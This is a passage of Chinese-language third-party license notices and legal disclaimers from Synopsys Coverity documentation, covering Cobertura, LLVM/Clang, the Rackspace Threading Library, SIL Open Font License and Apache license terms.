按照 GPLv2 提供许可的 Cobertura 软件包自发行版 7.0.3 版本起已修改。此软件包是独立的自成体系的程序，与 Synopsys 代码不混合，与 Synopsys 专有代码没有交互。Cobertura 软件包和 Synopsys 专有代码共同存在于相同的媒介上，但是并不一起运行。客户可以通过电子邮件联系 Synopsys（地址为 `software-integrity-support@synopsys.com`），Synopsys 将遵守 GPL 条款，按照 GPLv2 许可以源代码格式为客户提供适用的所请求开源软件包。Synopsys 在客户请求时选择提供给客户的任何 Synopsys 专有代码都仅会以对象形式提供。对该许可产品的任何修改都将使 Coverity 在本协议下的所有义务失效，包括但不限于保修、维护服务和侵权赔偿责任。如果客户没有已修改的 Cobertura 软件包，Synopsys 建议客户改为使用 JaCoCo 软件包。

有关使用 JaCoCo 的信息，请参阅 命令说明中的 `cov-build --java-coverage` 描述。

#### LLVM/Clang 子项目

版权所有 © 保留所有权利。开发者：LLVM 团队，伊利诺伊大学厄巴纳-香槟分校（<http://llvm.org/>）。特此授予任何获得 LLVM/Clang 副本及其关联文档文件（以下称为“Clang”）的人免费权限，允许其无限制地处理 Clang，包括但不限于使用、拷贝、修改、合并、发布、分发、再授权和/或销售 Clang 副本的权利，并授予接受 Clang 供应的人这些权利，但他们应遵守以下条件：重新分发源代码必须保留上述版权声明、本条件列表和以下免责声明。以二进制形式重新分发时，必须在分发随附的文档和/或其他资料中复制上述版权声明、本条件列表和以下免责声明。未经事先书面许可，不得使用伊利诺伊大学厄巴纳-香槟分校或其分销商的名称冠名或促销从 Clang 衍生的产品。

CLANG 将按“原样”提供，不做任何明示或暗示的保证，包括但不限于适销性、特定目的适用性和无侵权保证。在任何情况下，不管是在合同诉讼、侵权诉讼还是其他诉讼中，对于因为 CLANG、使用 CLANG 或以其他方式处理 CLANG 引起的或产生关联的索赔、损害或其他责任，编写者或版权所有者概不负责。

### Rackspace Threading Library (2.0)

版权所有 © Rackspace, US Inc.。保留所有权利。按照 Apache 许可版本 2.0 ( 以下称为“许可” ) 提供许可 ; 您只能按照该许可使用这些文件。您可以在以下位置获得该许可的副本 : <http://www.apache.org/licenses/LICENSE-2.0> 。

除非适用法律要求或以书面形式达成协议 , 否则按照本许可分发软件时必须按“原样”分发 , 不提供任何保证或附加任何类型的条件 , 不管是明示的还是暗示的。请参阅该许可 , 了解该许可的特定语言管理权限和限制。

### SIL Open Font Library 子项目

版权所有 © 2021, Synopsys Inc.。在全球保留所有权利。 ( [www.synopsys.com](http://www.synopsys.com) ) , 保留字体名称 fa-gear、fa-info-circle、fa-question。

该字体软件按照 SIL Open Font License 版本 1.1 提供许可。该许可具有常见问题解答 , 请参阅 <http://scripts.sil.org/OFL> 。

### Apache 软件许可证 , 版本 1.1

版权所有 © 1999-2003 Apache Software Foundation。保留所有权利。

在满足下列条件时 , 允许在修改或无修改的情况下以源和二进制文件形式再分发和使用源代码 :

1. 重新分发源代码必须保留上述版权声明、本条件列表和以下免责声明。
2. 以二进制形式重新分发时 , 必须在分发随附的文档和/或其他资料中复制上述版权声明、本条件列表和以下免责声明。
3. 重新分发中包括的最终用户文档 ( 如果有 ) 必须包括以下告知内容 : “本产品包括由 Apache Software Foundation (<http://www.apache.org/>) 开发的软件”。

此外 , 如果可能 , 此告知也可以显示在软件本身中 , 并在此类第三方告知通常显示的地方显示。

4. 未经事先书面许可 , 不得使用“Jakarta Project”、“Commons”和“Apache Software Foundation”冠名或促销本软件衍生产品。要获得书面许可 , 请联系 [apache@apache.org](mailto:apache@apache.org) 。
5. 未经 Apache Group 的事先书面许可 , 本软件衍生的产品不得称为“Apache” , 其名称中也不得出现“Apache”字样。

本软件按“原样”提供 , 对其不提供任何明示或暗示的保证 , 包括但不限于对适销性或针对特殊用途的适用性的任何暗示保证。在任何情况下 , Apache Software Foundation 或其利害关系人不会对任何直接的、间接的、偶然的、特殊的、惩罚性的或结果性的损害 ( 包括但不限于替代商品或服务的获取 ; 用途、数据或利润的损失 ; 或者业务中断 ) 负责 , 不论此类损害是如何引起的 , 不论根据何种责任理论 , 也不会对在使用本软件的过程中引起的任何合同、严格责任或民事侵权行为 ( 包括疏忽或其他 ) 等违法行为负责 , 即使已经提醒发生这种损害的可能性。

Apache 许可版本 2.0 , 2004 年 1 月 <http://www.apache.org/licenses/>

按照 Apache 许可版本 2.0 ( 以下称为“许可” ) 提供许可 ; 您只能按照该许可使用此文件。您可以在以下位置获得该许可的副本 : <http://www.apache.org/licenses/LICENSE-2.0> 。

## Coverity 法律声明

---

除非适用法律要求或以书面形式达成协议，否则按照本许可分发软件时必须按“原样”分发，不提供任何保证或附加任何类型的条件，不管是明示的还是暗示的。请参阅该许可，了解该许可的特定语言管理权限和限制。

Coverity 和 Test Advisor 的分析结果表示截止到分析进行时的日期和时间的分析结果。该结果表示对分析可检测到的错误、缺陷和漏洞的评估，不声明或推断分析的软件中不存在其他错误、缺陷或漏洞。Synopsys 不保证将发行或检测到所有错误、缺陷或漏洞，或者此类错误、缺陷或漏洞可发现或可检测。

Synopsys 及其供应商对所有保证、条件和陈述不承担任何责任，无论是明示、暗示还是法定的，包括与适销性、特定目的适用性、满意的质量、结果的准确性或完整性、符合性描述和非侵权相关的保证、条件和陈述。Synopsys 及其供应商明确声明对处理、使用或交易过程中产生的所有暗示保证、条件和陈述不承担任何责任。